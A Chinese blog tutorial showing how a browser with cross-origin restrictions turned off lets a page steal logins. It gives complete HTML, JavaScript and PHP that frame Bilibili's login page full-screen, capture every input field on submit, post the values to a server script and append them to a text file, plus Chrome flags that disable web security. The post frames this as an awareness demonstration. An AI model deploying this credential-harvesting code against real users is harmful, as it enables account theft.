這次我們來看看解除瀏覽器跨域限制是有多么容易被盜取信息。
最開始遇到跨域的時候，那時候還是一個懵懂的椎風少年。。那時候和一個朋友一起開發(fā)一個網(wǎng)站，由于他那時候在深圳，我在上海。利用的是他的云服務器進行開發(fā)，結果我前端上怎么都不能獲取到他給我的網(wǎng)站返回的信息。查了一堆資料才發(fā)現(xiàn)是跨域問題。又找不到解決辦法，最后還是用
nginx來解決的跨域。。想想還真是凄慘。
_如果還有不了解什么是同源，什么是跨域的，剛好前幾天我在簡書里看到了一個人發(fā)表的文章說的是這個，這里直接甩個鏈接。想了解的可以去看看。希望那位博主不要打我。
<a target = "blank" href="http://www.itdecent.cn/p/beb059c43a8b" >前端必備HTTP技能之同源策略詳解</a> ←點擊跳轉(zhuǎn)。
這里我們來假設一個環(huán)境
- 首先我們的瀏覽器是跨域的。
- 然后我們打開了平時我們經(jīng)常登錄的網(wǎng)站。
- 由于是我們經(jīng)常打開的網(wǎng)站，所以也不會太去關注URL,當然也有人根本就不看URL的；
- 然后網(wǎng)頁和我們平時打開的網(wǎng)站沒啥區(qū)別，沒毛病。
- 最后我們登錄自己的賬號密碼，好了。被盜了。。
當然只要平時電腦玩的多的人，一般都不會上這樣的當。所以我們這里的目的只是為了舉一個簡單的例子來讓大家了解一下。還是那句話，遨游在網(wǎng)絡的世界，防范的再安全都不為過。
這里來分析一下具體實現(xiàn)
- 首先我在HTML里面寫一個iframe標簽，里面嵌套某個網(wǎng)站。這里為了簡潔，我們直接用的登錄頁面。
- 其實我本來是想用簡書的登錄頁面來實驗的。結果簡書這網(wǎng)站不讓別人用iframe嵌套。絕，真絕了。。
- 然后我就打開了我敬愛的大B站。因此這里是用的B站的登錄頁面做示例。
- 修改iframe的樣式，讓其鋪滿整個屏幕，看起來就和原來的網(wǎng)站沒有什么區(qū)別了。
- 獲取iframe內(nèi)部的document對象。
- 有了document對象，我們就能操控登錄按鈕了，在你點擊登錄的時候，拿到所有的input標簽中的值。
- 通過AJAX發(fā)送到自己的后臺代碼，然后寫入到一個文件里。
代碼部分：
- HTML
利用iframe導入一個網(wǎng)址即可
<iframe src="https://passport.bilibili.com/login" frameborder="0" id="iframe"></iframe>
- CSS
CSS在這里的目的只是讓iframe全屏顯示而已。
```
html,body{
margin: 0;
padding: 0;
height: 100%;
overflow: hidden;
}
iframe{
width: 100%;
height: 100%;
}
3. JS部分
> 主要就是負責獲取到iframe中的document對象，然后進行dom操作而已
window.onload = function(){
// 獲取iframe的元素
var iframeObj = document.querySelector('#iframe');
var iframeDocument = iframeObj.contentWindow.document;
// 獲取登錄按鈕的
var login = iframeDocument.querySelector('input[type=submit]');
login.onclick = function(){
// 創(chuàng)建一個空對象
var info = {};
// 遍歷所有的input標簽
var input = iframeDocument.querySelectorAll('input');
for (var i = 0; i < input.length; i++) {
// 將數(shù)據(jù)放入一個對象中
info[input[i].name] = input[i].value;
}
console.log(info);
// 現(xiàn)在就有了input里面的所有數(shù)據(jù)了
// 這時候發(fā)送一個ajax請求給自己的服務器
// 創(chuàng)建一個異步對象
var xhr = new XMLHttpRequest();
// 設置method和url
xhr.open('post','login.php');
// 設置content-type
xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
// 監(jiān)聽狀態(tài)
xhr.onreadystatechange = function(){
//請求完成且找到網(wǎng)站
if(xhr.readyState == 4 && xhr.status == 200){
console.log(xhr.responseText);
}
}
// 發(fā)送請求
xhr.send('info='+JSON.stringify(info));
// return false;
}
//console.log(iframeDocument);
}
4. PHP部分
> 主要是用來將獲取到的文件寫入文本中
<?php
$info = $_POST['info'];
print_r($info);
// 寫入文件
file_put_contents('info.txt', $info.PHP_EOL,FILE_APPEND);
echo "ok";
?>
這里給個鏈接，有興趣的可以點進去玩玩。
<a target = "_black" >利用iframe嵌入的BILIBILI的登錄頁面</a>
<a target = "_black" >查看剛剛自己輸入的值</a>
或者直接修改url最后的`login.html`為`login.txt`
當然，你的瀏覽器必須先接觸跨域才能這么玩。。
至于解除的辦法，chrome瀏覽器的話，看下圖。其他瀏覽器的話，請自行百度吧。我并沒有研究。。。
在你的chrome上右鍵=》屬性，然后在目標的最后，敲上一個空格，再把--args --disable-web-security --user-data-dir 這一坨復制上去。
###### *注意：進入瀏覽器的時候會給你一個提示，告訴你有安全問題，玩完之后記得刪掉后面這串。*
例子雖然比較簡單，但是應該還是表達出了我想說的。。
#### 結語：
1. 在自己不熟悉瀏覽器的某些安全機制的時候，不要去隨意的改動。
2. 實際開發(fā)中，我們不得不面臨著需要跨域的時候。解決跨域的方法也有很有，之前提到的那個博主的那篇博文里面都有寫。感興趣的可以去看看，而且跨域問題面試的時候也經(jīng)常被問到。
3. iframe嵌套進來的網(wǎng)站可以正常運行，登錄什么的都沒毛病。。要是點網(wǎng)站進去玩的時候，千萬記得不要真登錄了。。隨便敲點數(shù)據(jù)玩玩就行了。